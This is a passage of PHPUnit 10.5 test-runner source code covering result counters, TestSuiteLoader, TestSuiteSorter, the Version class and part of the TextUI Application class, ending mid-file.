numberOfTestSkippedEvents(): int { return count($this->testSkippedEvents); } public function hasTestSkippedEvents(): bool { return $this->numberOfTestSkippedEvents() > 0; } /** * @psalm-return list */ public function testMarkedIncompleteEvents(): array { return $this->testMarkedIncompleteEvents; } public function numberOfTestMarkedIncompleteEvents(): int { return count($this->testMarkedIncompleteEvents); } public function hasTestMarkedIncompleteEvents(): bool { return $this->numberOfTestMarkedIncompleteEvents() > 0; } /** * @psalm-return array> */ public function testTriggeredPhpunitDeprecationEvents(): array { return $this->testTriggeredPhpunitDeprecationEvents; } public function numberOfTestsWithTestTriggeredPhpunitDeprecationEvents(): int { return count($this->testTriggeredPhpunitDeprecationEvents); } public function hasTestTriggeredPhpunitDeprecationEvents(): bool { return $this->numberOfTestsWithTestTriggeredPhpunitDeprecationEvents() > 0; } /** * @psalm-return array> */ public function testTriggeredPhpunitErrorEvents(): array { return $this->testTriggeredPhpunitErrorEvents; } public function numberOfTestsWithTestTriggeredPhpunitErrorEvents(): int { return count($this->testTriggeredPhpunitErrorEvents); } public function hasTestTriggeredPhpunitErrorEvents(): bool { return $this->numberOfTestsWithTestTriggeredPhpunitErrorEvents() > 0; } /** * @psalm-return array> */ public function testTriggeredPhpunitWarningEvents(): array { return $this->testTriggeredPhpunitWarningEvents; } public function numberOfTestsWithTestTriggeredPhpunitWarningEvents(): int { return count($this->testTriggeredPhpunitWarningEvents); } public function hasTestTriggeredPhpunitWarningEvents(): bool { return $this->numberOfTestsWithTestTriggeredPhpunitWarningEvents() > 0; } /** * @psalm-return list */ public function testRunnerTriggeredDeprecationEvents(): array { return $this->testRunnerTriggeredDeprecationEvents; } public function numberOfTestRunnerTriggeredDeprecationEvents(): int { return count($this->testRunnerTriggeredDeprecationEvents); } public function hasTestRunnerTriggeredDeprecationEvents(): bool { return $this->numberOfTestRunnerTriggeredDeprecationEvents() > 0; } /** * @psalm-return list */ public function testRunnerTriggeredWarningEvents(): array { return $this->testRunnerTriggeredWarningEvents; } public function numberOfTestRunnerTriggeredWarningEvents(): int { return count($this->testRunnerTriggeredWarningEvents); } public function hasTestRunnerTriggeredWarningEvents(): bool { return $this->numberOfTestRunnerTriggeredWarningEvents() > 0; } public function wasSuccessful(): bool { return !$this->hasTestErroredEvents() && !$this->hasTestFailedEvents() && !$this->hasTestTriggeredPhpunitErrorEvents(); } public function wasSuccessfulAndNoTestHasIssues(): bool { return $this->wasSuccessful() && !$this->hasTestsWithIssues(); } public function hasIssues(): bool { return $this->hasTestsWithIssues() || $this->hasTestRunnerTriggeredWarningEvents(); } public function hasTestsWithIssues(): bool { return $this->hasRiskyTests() || $this->hasIncompleteTests() || $this->hasDeprecations() || !empty($this->errors) || $this->hasNotices() || $this->hasWarnings() || $this->hasPhpunitWarnings(); } /** * @psalm-return list */ public function errors(): array { return $this->errors; } /** * @psalm-return list */ public function deprecations(): array { return $this->deprecations; } /** * @psalm-return list */ public function notices(): array { return $this->notices; } /** * @psalm-return list */ public function warnings(): array { return $this->warnings; } /** * @psalm-return list */ public function phpDeprecations(): array { return $this->phpDeprecations; } /** * @psalm-return list */ public function phpNotices(): array { return $this->phpNotices; } /** * @psalm-return list */ public function phpWarnings(): array { return $this->phpWarnings; } public function hasTests(): bool { return $this->numberOfTests > 0; } public function hasErrors(): bool { return $this->numberOfErrors() > 0; } public function numberOfErrors(): int { return $this->numberOfTestErroredEvents() + count($this->errors) + $this->numberOfTestsWithTestTriggeredPhpunitErrorEvents(); } public function hasDeprecations(): bool { return $this->numberOfDeprecations() > 0; } public function hasPhpOrUserDeprecations(): bool { return $this->numberOfPhpOrUserDeprecations() > 0; } public function numberOfPhpOrUserDeprecations(): int { return count($this->deprecations) + count($this->phpDeprecations); } public function hasPhpunitDeprecations(): bool { return $this->numberOfPhpunitDeprecations() > 0; } public function numberOfPhpunitDeprecations(): int { return count($this->testTriggeredPhpunitDeprecationEvents) + count($this->testRunnerTriggeredDeprecationEvents); } public function hasPhpunitWarnings(): bool { return $this->numberOfPhpunitWarnings() > 0; } public function numberOfPhpunitWarnings(): int { return count($this->testTriggeredPhpunitWarningEvents) + count($this->testRunnerTriggeredWarningEvents); } public function numberOfDeprecations(): int { return count($this->deprecations) + count($this->phpDeprecations) + count($this->testTriggeredPhpunitDeprecationEvents) + count($this->testRunnerTriggeredDeprecationEvents); } public function hasNotices(): bool { return $this->numberOfNotices() > 0; } public function numberOfNotices(): int { return count($this->notices) + count($this->phpNotices); } public function hasWarnings(): bool { return $this->numberOfWarnings() > 0; } public function numberOfWarnings(): int { return count($this->warnings) + count($this->phpWarnings); } public function hasIncompleteTests(): bool { return !empty($this->testMarkedIncompleteEvents); } public function hasRiskyTests(): bool { return !empty($this->testConsideredRiskyEvents); } public function hasSkippedTests(): bool { return !empty($this->testSkippedEvents); } public function hasIssuesIgnoredByBaseline(): bool { return $this->numberOfIssuesIgnoredByBaseline > 0; } /** * @psalm-return non-negative-int */ public function numberOfIssuesIgnoredByBaseline(): int { return $this->numberOfIssuesIgnoredByBaseline; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function array_diff; use function array_values; use function basename; use function get_declared_classes; use function realpath; use function str_ends_with; use function strpos; use function strtolower; use function substr; use PHPUnit\Framework\TestCase; use ReflectionClass; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteLoader { /** * @psalm-var list */ private static array $declaredClasses = []; /** * @psalm-var array> */ private static array $fileToClassesMap = []; /** * @throws Exception */ public function load(string $suiteClassFile): ReflectionClass { $suiteClassFile = realpath($suiteClassFile); $suiteClassName = $this->classNameFromFileName($suiteClassFile); $loadedClasses = $this->loadSuiteClassFile($suiteClassFile); foreach ($loadedClasses as $className) { /** @noinspection PhpUnhandledExceptionInspection */ $class = new ReflectionClass($className); if ($class->isAnonymous()) { continue; } if ($class->getFileName() !== $suiteClassFile) { continue; } if (!$class->isSubclassOf(TestCase::class)) { continue; } if (!str_ends_with(strtolower($class->getShortName()), strtolower($suiteClassName))) { continue; } if (!$class->isAbstract()) { return $class; } $e = new ClassIsAbstractException($class->getName(), $suiteClassFile); } if (isset($e)) { throw $e; } foreach ($loadedClasses as $className) { if (str_ends_with(strtolower($className), strtolower($suiteClassName))) { throw new ClassDoesNotExtendTestCaseException($className, $suiteClassFile); } } throw new ClassCannotBeFoundException($suiteClassName, $suiteClassFile); } private function classNameFromFileName(string $suiteClassFile): string { $className = basename($suiteClassFile, '.php'); $dotPos = strpos($className, '.'); if ($dotPos !== false) { $className = substr($className, 0, $dotPos); } return $className; } /** * @psalm-return list */ private function loadSuiteClassFile(string $suiteClassFile): array { if (isset(self::$fileToClassesMap[$suiteClassFile])) { return self::$fileToClassesMap[$suiteClassFile]; } if (empty(self::$declaredClasses)) { self::$declaredClasses = get_declared_classes(); } require_once $suiteClassFile; $loadedClasses = array_values( array_diff( get_declared_classes(), self::$declaredClasses, ), ); foreach ($loadedClasses as $loadedClass) { /** @noinspection PhpUnhandledExceptionInspection */ $class = new ReflectionClass($loadedClass); if (!isset(self::$fileToClassesMap[$class->getFileName()])) { self::$fileToClassesMap[$class->getFileName()] = []; } self::$fileToClassesMap[$class->getFileName()][] = $class->getName(); } self::$declaredClasses = get_declared_classes(); if (empty($loadedClasses)) { return self::$declaredClasses; } return $loadedClasses; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function array_diff; use function array_merge; use function array_reverse; use function array_splice; use function count; use function in_array; use function max; use function shuffle; use function usort; use PHPUnit\Framework\DataProviderTestSuite; use PHPUnit\Framework\Reorderable; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\ResultCache\NullResultCache; use PHPUnit\Runner\ResultCache\ResultCache; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteSorter { /** * @var int */ public const ORDER_DEFAULT = 0; /** * @var int */ public const ORDER_RANDOMIZED = 1; /** * @var int */ public const ORDER_REVERSED = 2; /** * @var int */ public const ORDER_DEFECTS_FIRST = 3; /** * @var int */ public const ORDER_DURATION = 4; /** * @var int */ public const ORDER_SIZE = 5; private const SIZE_SORT_WEIGHT = [ 'small' => 1, 'medium' => 2, 'large' => 3, 'unknown' => 4, ]; /** * @psalm-var array Associative array of (string => DEFECT_SORT_WEIGHT) elements */ private array $defectSortOrder = []; private readonly ResultCache $cache; /** * @psalm-var array A list of normalized names of tests before reordering */ private array $originalExecutionOrder = []; /** * @psalm-var array A list of normalized names of tests affected by reordering */ private array $executionOrder = []; public function __construct(?ResultCache $cache = null) { $this->cache = $cache ?? new NullResultCache; } /** * @throws Exception */ public function reorderTestsInSuite(Test $suite, int $order, bool $resolveDependencies, int $orderDefects, bool $isRootTestSuite = true): void { $allowedOrders = [ self::ORDER_DEFAULT, self::ORDER_REVERSED, self::ORDER_RANDOMIZED, self::ORDER_DURATION, self::ORDER_SIZE, ]; if (!in_array($order, $allowedOrders, true)) { throw new InvalidOrderException; } $allowedOrderDefects = [ self::ORDER_DEFAULT, self::ORDER_DEFECTS_FIRST, ]; if (!in_array($orderDefects, $allowedOrderDefects, true)) { throw new InvalidOrderException; } if ($isRootTestSuite) { $this->originalExecutionOrder = $this->calculateTestExecutionOrder($suite); } if ($suite instanceof TestSuite) { foreach ($suite as $_suite) { $this->reorderTestsInSuite($_suite, $order, $resolveDependencies, $orderDefects, false); } if ($orderDefects === self::ORDER_DEFECTS_FIRST) { $this->addSuiteToDefectSortOrder($suite); } $this->sort($suite, $order, $resolveDependencies, $orderDefects); } if ($isRootTestSuite) { $this->executionOrder = $this->calculateTestExecutionOrder($suite); } } public function getOriginalExecutionOrder(): array { return $this->originalExecutionOrder; } public function getExecutionOrder(): array { return $this->executionOrder; } private function sort(TestSuite $suite, int $order, bool $resolveDependencies, int $orderDefects): void { if (empty($suite->tests())) { return; } if ($order === self::ORDER_REVERSED) { $suite->setTests($this->reverse($suite->tests())); } elseif ($order === self::ORDER_RANDOMIZED) { $suite->setTests($this->randomize($suite->tests())); } elseif ($order === self::ORDER_DURATION) { $suite->setTests($this->sortByDuration($suite->tests())); } elseif ($order === self::ORDER_SIZE) { $suite->setTests($this->sortBySize($suite->tests())); } if ($orderDefects === self::ORDER_DEFECTS_FIRST) { $suite->setTests($this->sortDefectsFirst($suite->tests())); } if ($resolveDependencies && !($suite instanceof DataProviderTestSuite)) { $tests = $suite->tests(); $suite->setTests($this->resolveDependencies($tests)); } } private function addSuiteToDefectSortOrder(TestSuite $suite): void { $max = 0; foreach ($suite->tests() as $test) { if (!$test instanceof Reorderable) { continue; } if (!isset($this->defectSortOrder[$test->sortId()])) { $this->defectSortOrder[$test->sortId()] = $this->cache->status($test->sortId())->asInt(); $max = max($max, $this->defectSortOrder[$test->sortId()]); } } $this->defectSortOrder[$suite->sortId()] = $max; } private function reverse(array $tests): array { return array_reverse($tests); } private function randomize(array $tests): array { shuffle($tests); return $tests; } private function sortDefectsFirst(array $tests): array { usort( $tests, fn ($left, $right) => $this->cmpDefectPriorityAndTime($left, $right), ); return $tests; } private function sortByDuration(array $tests): array { usort( $tests, fn ($left, $right) => $this->cmpDuration($left, $right), ); return $tests; } private function sortBySize(array $tests): array { usort( $tests, fn ($left, $right) => $this->cmpSize($left, $right), ); return $tests; } /** * Comparator callback function to sort tests for "reach failure as fast as possible". * * 1. sort tests by defect weight defined in self::DEFECT_SORT_WEIGHT * 2. when tests are equally defective, sort the fastest to the front * 3. do not reorder successful tests */ private function cmpDefectPriorityAndTime(Test $a, Test $b): int { if (!($a instanceof Reorderable && $b instanceof Reorderable)) { return 0; } $priorityA = $this->defectSortOrder[$a->sortId()] ?? 0; $priorityB = $this->defectSortOrder[$b->sortId()] ?? 0; if ($priorityB <=> $priorityA) { // Sort defect weight descending return $priorityB <=> $priorityA; } if ($priorityA || $priorityB) { return $this->cmpDuration($a, $b); } // do not change execution order return 0; } /** * Compares test duration for sorting tests by duration ascending. */ private function cmpDuration(Test $a, Test $b): int { if (!($a instanceof Reorderable && $b instanceof Reorderable)) { return 0; } return $this->cache->time($a->sortId()) <=> $this->cache->time($b->sortId()); } /** * Compares test size for sorting tests small->medium->large->unknown. */ private function cmpSize(Test $a, Test $b): int { $sizeA = ($a instanceof TestCase || $a instanceof DataProviderTestSuite) ? $a->size()->asString() : 'unknown'; $sizeB = ($b instanceof TestCase || $b instanceof DataProviderTestSuite) ? $b->size()->asString() : 'unknown'; return self::SIZE_SORT_WEIGHT[$sizeA] <=> self::SIZE_SORT_WEIGHT[$sizeB]; } /** * Reorder Tests within a TestCase in such a way as to resolve as many dependencies as possible. * The algorithm will leave the tests in original running order when it can. * For more details see the documentation for test dependencies. * * Short description of algorithm: * 1. Pick the next Test from remaining tests to be checked for dependencies. * 2. If the test has no dependencies: mark done, start again from the top * 3. If the test has dependencies but none left to do: mark done, start again from the top * 4. When we reach the end add any leftover tests to the end. These will be marked 'skipped' during execution. * * @psalm-param array $tests * * @psalm-return array */ private function resolveDependencies(array $tests): array { $newTestOrder = []; $i = 0; $provided = []; do { if ([] === array_diff($tests[$i]->requires(), $provided)) { $provided = array_merge($provided, $tests[$i]->provides()); $newTestOrder = array_merge($newTestOrder, array_splice($tests, $i, 1)); $i = 0; } else { $i++; } } while (!empty($tests) && ($i < count($tests))); return array_merge($newTestOrder, $tests); } private function calculateTestExecutionOrder(Test $suite): array { $tests = []; if ($suite instanceof TestSuite) { foreach ($suite->tests() as $test) { if (!$test instanceof TestSuite && $test instanceof Reorderable) { $tests[] = $test->sortId(); } else { $tests = array_merge($tests, $this->calculateTestExecutionOrder($test)); } } } return $tests; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Runner; use function array_slice; use function dirname; use function explode; use function implode; use function str_contains; use SebastianBergmann\Version as VersionId; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Version { private static string $pharVersion = ''; private static string $version = ''; /** * Returns the current version of PHPUnit. */ public static function id(): string { if (self::$pharVersion !== '') { return self::$pharVersion; } if (self::$version === '') { self::$version = (new VersionId('10.5.58', dirname(__DIR__, 2)))->asString(); } return self::$version; } public static function series(): string { if (str_contains(self::id(), '-')) { $version = explode('-', self::id(), 2)[0]; } else { $version = self::id(); } return implode('.', array_slice(explode('.', $version), 0, 2)); } public static function majorVersionNumber(): int { return (int) explode('.', self::series())[0]; } public static function getVersionString(): string { return 'PHPUnit ' . self::id() . ' by Sebastian Bergmann and contributors.'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use const PHP_EOL; use const PHP_VERSION; use function is_file; use function is_readable; use function printf; use function realpath; use function sprintf; use function trim; use function unlink; use PHPUnit\Event\EventFacadeIsSealedException; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Event\UnknownSubscriberTypeException; use PHPUnit\Framework\TestSuite; use PHPUnit\Logging\EventLogger; use PHPUnit\Logging\JUnit\JunitXmlLogger; use PHPUnit\Logging\TeamCity\TeamCityLogger; use PHPUnit\Logging\TestDox\HtmlRenderer as TestDoxHtmlRenderer; use PHPUnit\Logging\TestDox\PlainTextRenderer as TestDoxTextRenderer; use PHPUnit\Logging\TestDox\TestResultCollector as TestDoxResultCollector; use PHPUnit\Metadata\Api\CodeCoverage as CodeCoverageMetadataApi; use PHPUnit\Runner\Baseline\CannotLoadBaselineException; use PHPUnit\Runner\Baseline\Generator as BaselineGenerator; use PHPUnit\Runner\Baseline\Reader; use PHPUnit\Runner\Baseline\Writer; use PHPUnit\Runner\CodeCoverage; use PHPUnit\Runner\DirectoryDoesNotExistException; use PHPUnit\Runner\ErrorHandler; use PHPUnit\Runner\Extension\ExtensionBootstrapper; use PHPUnit\Runner\Extension\Facade as ExtensionFacade; use PHPUnit\Runner\Extension\PharLoader; use PHPUnit\Runner\GarbageCollection\GarbageCollectionHandler; use PHPUnit\Runner\ResultCache\DefaultResultCache; use PHPUnit\Runner\ResultCache\NullResultCache; use PHPUnit\Runner\ResultCache\ResultCache; use PHPUnit\Runner\ResultCache\ResultCacheHandler; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\Runner\Version; use PHPUnit\TestRunner\TestResult\Facade as TestResultFacade; use PHPUnit\TextUI\CliArguments\Builder; use PHPUnit\TextUI\CliArguments\Configuration as CliConfiguration; use PHPUnit\TextUI\CliArguments\Exception as ArgumentsException; use PHPUnit\TextUI\CliArguments\XmlConfigurationFileFinder; use PHPUnit\TextUI\Command\AtLeastVersionCommand; use PHPUnit\TextUI\Command\CheckPhpConfigurationCommand; use PHPUnit\TextUI\Command\GenerateConfigurationCommand; use PHPUnit\TextUI\Command\ListGroupsCommand; use PHPUnit\TextUI\Command\ListTestsAsTextCommand; use PHPUnit\TextUI\Command\ListTestsAsXmlCommand; use PHPUnit\TextUI\Command\ListTestSuitesCommand; use PHPUnit\TextUI\Command\MigrateConfigurationCommand; use PHPUnit\TextUI\Command\Result; use PHPUnit\TextUI\Command\ShowHelpCommand; use PHPUnit\TextUI\Command\ShowVersionCommand; use PHPUnit\TextUI\Command\VersionCheckCommand; use PHPUnit\TextUI\Command\WarmCodeCoverageCacheCommand; use PHPUnit\TextUI\Configuration\CodeCoverageFilterRegistry; use PHPUnit\TextUI\Configuration\Configuration; use PHPUnit\TextUI\Configuration\PhpHandler; use PHPUnit\TextUI\Configuration\Registry; use PHPUnit\TextUI\Configuration\TestSuiteBuilder; use PHPUnit\TextUI\Output\DefaultPrinter; use PHPUnit\TextUI\Output\Facade as OutputFacade; use PHPUnit\TextUI\Output\Printer; use PHPUnit\TextUI\XmlConfiguration\Configuration as XmlConfiguration; use PHPUnit\TextUI\XmlConfiguration\DefaultConfiguration; use PHPUnit\TextUI\XmlConfiguration\Loader; use PHPUnit\Util\Http\PhpDownloader; use SebastianBergmann\Timer\Timer; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Application { public function run(array $argv): int { try { EventFacade::emitter()->applicationStarted(); $cliConfiguration = $this->buildCliConfiguration($argv); $pathToXmlConfigurationFile = (new XmlConfigurationFileFinder)->find($cliConfiguration); $this->executeCommandsThatOnlyRequireCliConfiguration($cliConfiguration, $pathToXmlConfigurationFile); $xmlConfiguration = $this->loadXmlConfiguration($pathToXmlConfigurationFile); $configuration = Registry::init( $cliConfiguration, $xmlConfiguration, ); (new PhpHandler)->handle($configuration->php()); if ($configuration->hasBootstrap()) { $this->loadBootstrapScript($configuration->bootstrap()); } $this->executeCommandsThatRequireCompleteConfiguration($configuration, $cliConfiguration); $testSuite = $this->buildTestSuite($configuration); $this->executeCommandsThatRequireCliConfigurationAndTestSuite($cliConfiguration, $testSuite); $this->executeHelpCommandWhenThereIsNothingElseToDo($configuration, $testSuite); $pharExtensions = null; $extensionRequiresCodeCoverageCollection = false; $extensionReplacesOutput = false; $extensionReplacesProgressOutput = false; $extensionReplacesResultOutput = false; $extensionRequiresExportOfObjects = false; if (!$configuration->noExtensions()) { if ($configuration->hasPharExtensionDirectory()) { $pharExtensions = (new PharLoader)->loadPharExtensionsInDirectory( $configuration->pharExtensionDirectory(), ); } $bootstrappedExtensions = $this->bootstrapExtensions($configuration); $extensionRequiresCodeCoverageCollection = $bootstrappedExtensions['requiresCodeCoverageCollection']; $extensionReplacesOutput = $bootstrappedExtensions['replacesOutput']; $extensionReplacesProgressOutput = $bootstrappedExtensions['replacesProgressOutput']; $extensionReplacesResultOutput = $bootstrappedExtensions['replacesResultOutput']; $extensionRequiresExportOfObjects = $bootstrappedExtensions['requiresExportOfObjects']; } if ($extensionRequiresExportOfObjects) { EventFacade::emitter()->exportObjects(); } CodeCoverage::instance()->init( $configuration, CodeCoverageFilterRegistry::instance(), $extensionRequiresCodeCoverageCollection, ); if (CodeCoverage::instance()->isActive()) { CodeCoverage::instance()->ignoreLines( (new CodeCoverageMetadataApi)->linesToBeIgnored($testSuite), ); } $printer = OutputFacade::init( $configuration, $extensionReplacesProgressOutput, $extensionReplacesResultOutput, ); if (!$configuration->debug() && !$extensionReplacesOutput) { $this->writeRuntimeInformation($printer, $configuration); $this->writePharExtensionInformation($printer, $pharExtensions); $this->writeRandomSeedInformation($printer, $configuration); $printer->print(PHP_EOL); } if ($configuration->debug()) { EventFacade::instance()->registerTracer( new EventLogger( 'php://stdout', false, ), ); } $this->registerLogfileWriters($configuration); $testDoxResultCollector = $this->testDoxResultCollector($configuration); TestResultFacade::init(); $resultCache = $this->initializeTestResultCache($configuration); if ($configuration->controlGarbageCollector()) { new GarbageCollectionHandler( EventFacade::instance(), $configuration->numberOfTestsBeforeGarbageCollection(), ); } $baselineGenerator = $this->configureBaseline($configuration); EventFacade::instance()->seal(); $timer = new Timer; $timer->start(); $runner = new TestRunner; $runner->run( $configuration, $resultCache, $testSuite, ); $duration = $timer->stop(); $testDoxResult = null; if (isset($testDoxResultCollector)) { $testDoxResult = $testDoxResultCollector->testMethodsGroupedByClass(); } if ($testDoxResult !== null && $configuration->hasLogfileTestdoxHtml()) { try { OutputFacade::printerFor($configuration->logfileTestdoxHtml())->print( (new TestDoxHtmlRenderer)->render($testDoxResult), ); } catch (DirectoryDoesNotExistException|InvalidSocketException $e) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot log test results in TestDox HTML format to "%s": %s', $configuration->logfileTestdoxHtml(), $e->getMessage(), ), ); } } if ($testDoxResult !== null && $configuration->hasLogfileTestdoxText()) { try { OutputFacade::printerFor($configuration->logfileTestdoxText())->print( (new TestDoxTextRenderer)->render($testDoxResult), ); } catch (DirectoryDoesNotExistException|InvalidSocketException $e) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot log test results in TestDox plain text format to "%s": %s', $configuration->logfileTestdoxText(), $e->getMessage(), ), ); } } $result = TestResultFacade::result(); if (!$extensionReplacesResultOutput && !$configuration->debug()) { OutputFacade::printResult($result, $testDoxResult, $duration); } CodeCoverage::instance()->generateReports($printer, $configuration); if (isset($baselineGenerator)) { (new Writer)->write( $configuration->generateBaseline(), $baselineGenerator->baseline(), ); $printer->print( sprintf( PHP_EOL . 'Baseline written to %s.' . PHP_EOL, realpath($configuration->generateBaseline()), ), ); } $shellExitCode = (new ShellExitCodeCalculator)->calculate( $configuration, $result, ); EventFacade::emitter()->applicationFinished($shellExitCode); return $shellExitCode; // @codeCoverageIgnoreStart } catch (Throwable $t) { $this->exitWithCrashMessage($t); } // @codeCoverageIgnoreEnd } private function execute(Command\Command $command, bool $requiresResultCollectedFromEvents = false): never { if ($requiresResultCollectedFromEvents) { try { TestResultFacade::init(); EventFacade::instance()->seal(); $resultCollectedFromEvents = TestResultFacade::result(); } catch (EventFacadeIsSealedException|UnknownSubscriberTypeException) { } } print Version::getVersionString() . PHP_EOL . PHP_EOL; $result = $command->execute(); print $result->output(); $shellExitCode = $result->shellExitCode(); if (isset($resultCollectedFromEvents) && $resultCollectedFromEvents->hasTestTriggeredPhpunitErrorEvents()) { $shellExitCode = Result::EXCEPTION; print PHP_EOL . PHP_EOL . 'There were errors:' . PHP_EOL; foreach ($resultCollectedFromEvents->testTriggeredPhpunitErrorEvents() as $events) { foreach ($events as $event) { print PHP_EOL . trim($event->message()) . PHP_EOL; } } } exit($shellExitCode); } private function loadBootstrapScript(string $filename): void { if (!is_readable($filename)) { $this->exitWithErrorMessage( sprintf( 'Cannot open bootstrap script "%s"', $filename, ), ); } try { include_once $filename; } catch (Throwable $t) { $message = sprintf( 'Error in bootstrap script: %s:%s%s%s%s', $t::class, PHP_EOL, $t->getMessage(), PHP_EOL, $t->getTraceAsString(), ); while ($t = $t->getPrevious()) { $message .= sprintf( '%s%sPrevious error: %s:%s%s%s%s', PHP_EOL, PHP_EOL, $t::class, PHP_EOL, $t->getMessage(), PHP_EOL, $t->getTraceAsString(), ); } $this->exitWithErrorMessage($message); } EventFacade::emitter()->testRunnerBootstrapFinished($filename); } private function buildCliConfiguration(array $argv): CliConfiguration { try { $cliConfiguration = (new Builder)->fromParameters($argv); } catch (ArgumentsException $e) { $this->exitWithErrorMessage($e->getMessage()); } return $cliConfiguration; } private function loadXmlConfiguration(false|string $configurationFile): XmlConfiguration { if ($configurationFile === false) { return DefaultConfiguration::create(); } try { return (new Loader)->load($configurationFile); } catch (Throwable $e) { $this->exitWithErrorMessage($e->getMessage()); } } private function buildTestSuite(Configuration $configuration): TestSuite { try { return (new TestSuiteBuilder)->build($configuration); } catch (Exception $e) { $this->exitWithErrorMessage($e->getMessage()); } } /** * @psalm-return array{requiresCodeCoverageCollection: bool, replacesOutput: bool, replacesProgressOutput: bool, replacesResultOutput: bool, requiresExportOfObjects: bool} */ private function bootstrapExtensions(Configuration $configuration): array { $facade = new ExtensionFacade; $extensionBootstrapper = new ExtensionBootstrapper( $configuration, $facade, ); foreach ($configuration->extensionBootstrappers() as $bootstrapper) { $extensionBootstrapper->bootstrap( $bootstrapper['className'], $bootstrapper['parameters'], ); } return [ 'requiresCodeCoverageCollection' => $facade->requiresCodeCoverageCollection(), 'replacesOutput' => $facade->replacesOutput(), 'replacesProgressOutput' => $facade->replacesProgressOutput(), 'replacesResultOutput' => $facade->replacesResultOutput(), 'requiresExportOfObjects' => $facade->requiresExportOfObjects(), ]; } private function executeCommandsThatOnlyRequireCliConfiguration(CliConfiguration $cliConfiguration, false|string $configurationFile): void { if ($cliConfiguration->generateConfiguration()) { $this->execute(new GenerateConfigurationCommand); } if ($cliConfiguration->migrateConfiguration()) { if ($configurationFile === false) { $this->exitWithErrorMessage('No configuration file found to migrate'); } $this->execute(new MigrateConfigurationCommand(realpath($configurationFile))); } if ($cliConfiguration->hasAtLeastVersion()) { $this->execute(new AtLeastVersionCommand($cliConfiguration->atLeastVersion())); } if ($cliConfiguration->version()) { $this->execute(new ShowVersionCommand); } if ($cliConfiguration->checkPhpConfiguration()) { $this->execute(new CheckPhpConfigurationCommand); } if ($cliConfiguration->checkVersion()) { $this->execute(new VersionCheckCommand(new PhpDownloader, Version::majorVersionNumber(), Version::id())); } if ($cliConfiguration->help()) { $this->execute(new ShowHelpCommand(Result::SUCCESS)); } } private function executeCommandsThatRequireCliConfigurationAndTestSuite(CliConfiguration $cliConfiguration, TestSuite $testSuite): void { if ($cliConfiguration->listGroups()) { $this->execute(new ListGroupsCommand($testSuite), true); } if ($cliConfiguration->listTests()) { $this->execute(new ListTestsAsTextCommand($testSuite), true); } if ($cliConfiguration->hasListTestsXml()) { $this->execute( new ListTestsAsXmlCommand( $cliConfiguration->listTestsXml(), $testSuite, ), true, ); } } private function executeCommandsThatRequireCompleteConfiguration(Configuration $configuration, CliConfiguration $cliConfiguration): void { if ($cliConfiguration->listSuites()) { $this->execute(new ListTestSuitesCommand($configuration->testSuite())); } if ($cliConfiguration->warmCoverageCache()) { $this->execute(new WarmCodeCoverageCacheCommand($configuration, CodeCoverageFilterRegistry::instance())); } } private function executeHelpCommandWhenThereIsNothingElseToDo(Configuration $configuration, TestSuite $testSuite): void { if ($testSuite->isEmpty() && !$configuration->hasCliArguments() && $configuration->testSuite()->isEmpty()) { $this->execute(new ShowHelpCommand(Result::FAILURE)); } } private function writeRuntimeInformation(Printer $printer, Configuration $configuration): void { $printer->print(Version::getVersionString() . PHP_EOL . PHP_EOL); $runtime = 'PHP ' . PHP_VERSION; if (CodeCoverage::instance()->isActive()) { $runtime .= ' with ' . CodeCoverage::instance()->driver()->nameAndVersion(); } $this->writeMessage($printer, 'Runtime', $runtime); if ($configuration->hasConfigurationFile()) { $this->writeMessage( $printer, 'Configuration', $configuration->configurationFile(), ); } } /** * @psalm-param ?list $pharExtensions */ private function writePharExtensionInformation(Printer $printer, ?array $pharExtensions): void { if ($pharExtensions === null) { return; } foreach ($pharExtensions as $extension) { $this->writeMessage( $printer, 'Extension', $extension, ); } } private function writeMessage(Printer $printer, string $type, string $message): void { $printer->print( sprintf( "%-15s%s\n", $type . ':', $message, ), ); } private function writeRandomSeedInformation(Printer $printer, Configuration $configuration): void { if ($configuration->executionOrder() === TestSuiteSorter::ORDER_RANDOMIZED) { $this->writeMessage( $printer, 'Random Seed', (string) $configuration->randomOrderSeed(), ); } } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function registerLogfileWriters(Configuration $configuration): void { if ($configuration->hasLogEventsText()) { if (is_file($configuration->logEventsText())) { unlink($configuration->logEventsText()); } EventFacade::instance()->registerTracer( new EventLogger( $configuration->logEventsText(), false, ), ); } if ($configuration->hasLogEventsVerboseText()) { if (is_file($configuration->logEventsVerboseText())) { unlink($configuration->logEventsVerboseText()); } EventFacade::instance()->registerTracer( new EventLogger( $configuration->logEventsVerboseText(), true, ), ); EventFacade::emitter()->exportObjects(); } if ($configuration->hasLogfileJunit()) { try { new JunitXmlLogger( OutputFacade::printerFor($configuration->logfileJunit()), EventFacade::instance(), ); } catch (DirectoryDoesNotExistException|InvalidSocketException $e) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot log test results in JUnit XML format to "%s": %s', $configuration->logfileJunit(), $e->getMessage(), ), ); } } if ($configuration->hasLogfileTeamcity()) { try { new TeamCityLogger( DefaultPrinter::from( $configuration->logfileTeamcity(), ), EventFacade::instance(), ); } catch (DirectoryDoesNotExistException|InvalidSocketException $e) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( sprintf( 'Cannot log test results in TeamCity format to "%s": %s', $configuration->logfileTeamcity(), $e->getMessage(), ), ); } } } /** * @throws 